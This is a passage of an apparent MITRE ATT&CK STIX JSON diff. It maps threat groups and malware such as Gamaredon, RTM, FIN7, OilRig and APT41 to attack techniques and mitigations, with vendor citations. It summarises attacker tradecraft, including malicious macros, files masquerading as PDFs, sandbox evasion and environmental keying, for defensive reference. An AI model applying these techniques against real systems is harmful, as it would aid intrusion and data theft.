HKCU\\Software\\Microsoft\\Office\\<version>\\<product>\\Security\\AccessVBOM.(Citation: ESET Gamaredon June 2020)", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "modified": "2021-01-20T22:20:21.337Z", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-16T17:53:19.061Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", + "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.", + "source_name": "ESET Gamaredon June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--dd84b767-1623-421b-8f31-048924be5f17", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has delivered self-extracting 7z archive files within malicious document attachments, and used obfuscated or encrypted scripts.(Citation: ESET Gamaredon June 2020)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2020-08-31T15:06:48.855Z", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-16T17:53:19.063Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", + "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.", + "source_name": "ESET Gamaredon June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ba3d7819-9e07-4d90-93f1-e5fe9c63201f", + "description": "Routinely check user permissions to ensure only the expected users have the capability to delete new instances.", + "target_ref": "attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4", + "modified": "2020-09-14T19:55:23.259Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-06-16T18:32:29.496Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--393a7e7b-0fe7-4b93-920f-fc1b62652c5a", + "description": "Limit permissions for deleting new instances in accordance with least privilege. Organizations should limit the number of users within the organization with an IAM role that has administrative privileges, strive to reduce all permanent privileged role assignments, and conduct periodic entitlement reviews on IAM users, roles and policies.(Citation: Mandiant M-Trends 2020)", + "target_ref": "attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4", + "modified": "2020-09-14T19:55:23.273Z", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-06-16T18:32:29.507Z", + "external_references": [ + { + "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020", + "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.", + "source_name": "Mandiant M-Trends 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8b66ef05-63ad-4b12-b6b3-9a44475d781c", + "target_ref": "attack-pattern--144e007b-e638-431d-a894-45d90c54ab90", + "modified": "2020-06-16T18:42:20.836Z", + "source_ref": "attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-06-16T18:42:20.836Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a03f53c2-4445-4ca5-ab2a-624afcbb9ea4", + "target_ref": "attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1", + "modified": "2020-06-16T18:44:16.269Z", + "source_ref": "attack-pattern--3b4121aa-fc8b-40c8-ac4f-afcb5838b72c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "revoked-by", + "created": "2020-06-16T18:44:16.269Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b1c26420-ee32-44db-9158-781d38d7cc3b", + "description": "[RTM](https://attack.mitre.org/software/S0148) has initiated connections to external domains using HTTPS.(Citation: Unit42 Redaman January 2019)\t", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2020-06-16T20:51:12.866Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-16T20:51:12.866Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/", + "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020.", + "source_name": "Unit42 Redaman January 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--874d4046-5b9a-4f60-88f4-79ae63a70a1e", + "description": "[RTM](https://attack.mitre.org/software/S0148) has named the scheduled task it creates \"Windows Update\".(Citation: Unit42 Redaman January 2019)", + "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "modified": "2020-06-16T20:51:13.038Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-16T20:51:13.038Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/", + "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020.", + "source_name": "Unit42 Redaman January 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--73d5e6ab-9d0c-4884-9db0-02033523e61a", + "description": "[RTM](https://attack.mitre.org/software/S0148) can detect if it is running within a sandbox or other virtualized analysis environment.(Citation: Unit42 Redaman January 2019)\t", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "modified": "2020-06-16T20:51:13.040Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-16T20:51:13.040Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/", + "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020.", + "source_name": "Unit42 Redaman January 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e0b775d4-cfc4-4075-a72b-6a866ef3c159", + "description": "[RTM](https://attack.mitre.org/software/S0148) has relied on users opening malicious email attachments, decompressing the attached archive, and double-clicking the executable within.(Citation: Unit42 Redaman January 2019)", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "modified": "2020-06-16T20:51:13.210Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-16T20:51:13.210Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/", + "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020.", + "source_name": "Unit42 Redaman January 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f981c633-9333-4c7d-a168-7bea28f64d52", + "description": "[RTM](https://attack.mitre.org/software/S0148) has been delivered as archived Windows executable files masquerading as PDF documents.(Citation: Unit42 Redaman January 2019)\t", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "modified": "2020-06-16T20:51:13.213Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-16T20:51:13.213Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/", + "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020.", + "source_name": "Unit42 Redaman January 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--2b948c49-f65d-4e60-969f-229030b4d311", + "description": "[RTM](https://attack.mitre.org/software/S0148) has been delivered via spearphishing attachments disguised as PDF documents.(Citation: Unit42 Redaman January 2019)", + "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "modified": "2020-06-16T20:51:13.228Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-16T20:51:13.228Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/", + "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020.", + "source_name": "Unit42 Redaman January 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b3a191f3-59be-4457-ad5c-085ea0391bfe", + "description": "Remove vulnerable Group Policy Preferences.(Citation: Microsoft MS14-025)", + "target_ref": "attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e", + "modified": "2020-06-17T14:25:38.427Z", + "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-06-17T13:45:45.043Z", + "external_references": [ + { + "url": "http://support.microsoft.com/kb/2962486", + "description": "Microsoft. (2014, May 13). MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege. Retrieved January 28, 2015.", + "source_name": "Microsoft MS14-025" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c3086516-a419-4e7f-87c4-e37f08d0f27a", + "description": "[BackConfig](https://attack.mitre.org/software/S0475) has the ability to use HTTPS for C2 communiations.(Citation: Unit 42 BackConfig May 2020)", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2020-06-29T15:22:59.188Z", + "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-17T20:39:12.746Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/", + "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020.", + "source_name": "Unit 42 BackConfig May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e823be4b-50b9-4430-9010-e960b46bdfcc", + "description": "[BackConfig](https://attack.mitre.org/software/S0475) has used a custom routine to decrypt strings.(Citation: Unit 42 BackConfig May 2020)", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "modified": "2020-06-17T20:39:12.751Z", + "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-17T20:39:12.751Z", + "external_references": [ + { + "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/", + "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). 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(2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020.", + "source_name": "ESET Telebots Dec 2016" + }, + { + "url": "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf ", + "description": "Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.", + "source_name": "Dragos Crashoverride 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f78a5009-59ec-4ae2-89a0-44b8be49a140", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has inserted malicious macros into existing documents, providing persistence when they are reopened. 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Retrieved June 16, 2020.", + "source_name": "ESET Gamaredon June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c7735813-64b9-47ba-8d98-81e7bfc25a80", + "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has used cmd.exe /c to execute files.(Citation: Medium Metamorfo Apr 2020) ", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-06-22T19:56:19.422Z", + "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-22T19:56:19.422Z", + "external_references": [ + { + "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767", + "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020.", + "source_name": "Medium Metamorfo Apr 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e0d647cf-69a0-416f-8db4-cfd72fbd6ad3", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has used VBScript to initiate the delivery of payloads.(Citation: Microsoft Holmium June 2020)", + "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "modified": "2020-06-22T20:15:32.199Z", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-22T20:15:32.199Z", + "external_references": [ + { + "url": "https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/", + "description": "Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020.", + "source_name": "Microsoft Holmium June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e93a3bf7-2ca4-42ed-872a-f9f0f8458936", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has used compromised Office 365 accounts in tandem with [Ruler](https://attack.mitre.org/software/S0358) in an attempt to gain control of endpoints.(Citation: Microsoft Holmium June 2020)", + "target_ref": "attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65", + "modified": "2020-06-29T15:02:31.591Z", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-22T20:15:32.190Z", + "external_references": [ + { + "url": "https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/", + "description": "Microsoft Threat Protection Intelligence Team. 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The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. 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(2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020.", + "source_name": "Medium Metamorfo Apr 2020" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html", + "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020.", + "source_name": "FireEye Metamorfo Apr 2018" + }, + { + "url": "https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions", + "description": "Zhang, X. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020.", + "source_name": "Fortinet Metamorfo Feb 2020" + }, + { + "url": "https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/", + "description": "ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. 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For malicious code served up through ads, adblockers can help prevent that code from executing in the first place.", + "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "modified": "2021-08-16T21:03:21.547Z", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-06-23T19:13:13.413Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d4dbffc2-246d-4fd4-8c3c-0e7901aaef05", + "description": "Script blocking extensions can help prevent the execution of scripts and HTA files that may commonly be used during the exploitation process. For malicious code served up through ads, adblockers can help prevent that code from executing in the first place.", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "modified": "2021-08-16T20:57:36.817Z", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-06-23T19:14:12.712Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--58801cab-349a-4f09-b449-149b19bcf085", + "description": "[GRIFFON](https://attack.mitre.org/software/S0417) is written in and executed as [JavaScript](https://attack.mitre.org/techniques/T1059/007).(Citation: SecureList Griffon May 2019)\t", + "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", + "modified": "2020-06-23T19:20:46.002Z", + "source_ref": "malware--04fc1842-f9e4-47cf-8cb8-5c61becad142", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-23T19:20:46.002Z", + "external_references": [ + { + "source_name": "SecureList Griffon May 2019", + "description": "Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig \u201cFIN7\u201d continues its activities. Retrieved October 11, 2019.", + "url": "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--99dfbbaa-5e58-4a03-9b94-fb6962681ce3", + "description": "[Valak](https://attack.mitre.org/software/S0476) can collect sensitive mailing information from Exchange servers, including credentials and the domain certificate of an enterprise.(Citation: Cybereason Valak May 2020)", + "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a", + "modified": "2020-06-24T01:11:43.031Z", + "source_ref": "malware--ade37ada-14af-4b44-b36c-210eec255d53", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-23T19:30:44.853Z", + "external_references": [ + { + "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye", + "description": "Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020.", + "source_name": "Cybereason Valak May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8e8bebc7-14ff-4c84-a2a4-472446c5897a", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has executed JavaScript scriptlets on the victim's machine.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: Group IB Cobalt Aug 2017)(Citation: Morphisec Cobalt Gang Oct 2018)(Citation: Unit 42 Cobalt Gang Oct 2018)(Citation: TrendMicro Cobalt Group Nov 2017)", + "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", + "modified": "2020-06-23T19:41:51.743Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-23T19:41:51.743Z", + "external_references": [ + { + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "source_name": "Talos Cobalt Group July 2018" + }, + { + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf", + "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", + "source_name": "PTSecurity Cobalt Group Aug 2017" + }, + { + "url": "https://www.group-ib.com/blog/cobalt", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "source_name": "Group IB Cobalt Aug 2017" + }, + { + "source_name": "Morphisec Cobalt Gang Oct 2018", + "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.", + "url": "https://blog.morphisec.com/cobalt-gang-2.0" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/", + "description": "Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018.", + "source_name": "Unit 42 Cobalt Gang Oct 2018" + }, + { + "source_name": "TrendMicro Cobalt Group Nov 2017", + "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--72b1c4ab-81ca-47a4-a541-ceb44580c87b", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) used JavaScript scripts to help perform tasks on the victim's machine.(Citation: FireEye FIN7 Aug 2018)(Citation: Flashpoint FIN 7 March 2019)(Citation: FireEye FIN7 Aug 2018)", + "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", + "modified": "2020-06-24T19:03:20.236Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-23T19:53:58.405Z", + "external_references": [ + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + }, + { + "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/", + "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.", + "source_name": "Flashpoint FIN 7 March 2019" + }, + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d2468213-1073-43d0-bd10-020b23597a6f", + "target_ref": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852", + "modified": "2020-06-23T22:28:28.085Z", + "source_ref": "attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "subtechnique-of", + "created": "2020-06-23T22:28:28.085Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9a513f75-f09b-4840-8654-521fa4ff59fa", + "description": "[Environmental Keying](https://attack.mitre.org/techniques/T1480/001) likely should not be mitigated with preventative controls because it may protect unintended targets from being compromised. If targeted, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.", + "target_ref": "attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995", + "modified": "2021-06-09T18:53:58.284Z", + "source_ref": "course-of-action--787fb64d-c87b-4ee5-a341-0ef17ec4c15c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2020-06-23T22:35:10.751Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3c367277-6168-4df8-b982-e9949994123d", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has abused the Outlook Home Page feature for persistence. [OilRig](https://attack.mitre.org/groups/G0049) has also used CVE-2017-11774 to roll back the initial patch designed to protect against Home Page abuse.(Citation: FireEye Outlook Dec 2019)", + "target_ref": "attack-pattern--bf147104-abf9-4221-95d1-e81585859441", + "modified": "2020-06-24T00:26:37.174Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-24T00:26:37.174Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html", + "description": "McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020.", + "source_name": "FireEye Outlook Dec 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5212a108-111b-4467-84c9-933d2b84aad2", + "description": "[APT41](https://attack.mitre.org/groups/G0096) has encrypted payloads using the Data Protection API (DPAPI), which relies on keys tied to specific user accounts on specific machines. [APT41](https://attack.mitre.org/groups/G0096) has also environmentally keyed second stage malware with an RC5 key derived in part from the infected system's volume serial number.(Citation: Twitter ItsReallyNick APT41 EK)", + "target_ref": "attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995", + "modified": "2020-06-24T00:51:25.879Z", + "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-06-24T00:51:25.879Z", + "external_references": [ + { + "url": "https://twitter.com/ItsReallyNick/status/1189622925286084609", + "description": "Carr, N. (2019, October 30). Nick Carr Status Update APT41 Environmental Keying. Retrieved June 23, 2020.", + "source_name": "Twitter ItsReallyNick APT41 EK" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3bc431bd-f093-4daf-b264-e73f1fcf591a", + "description": "Restrict access to the authorized_keys file.", + "target_ref": "attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4", + "modified": 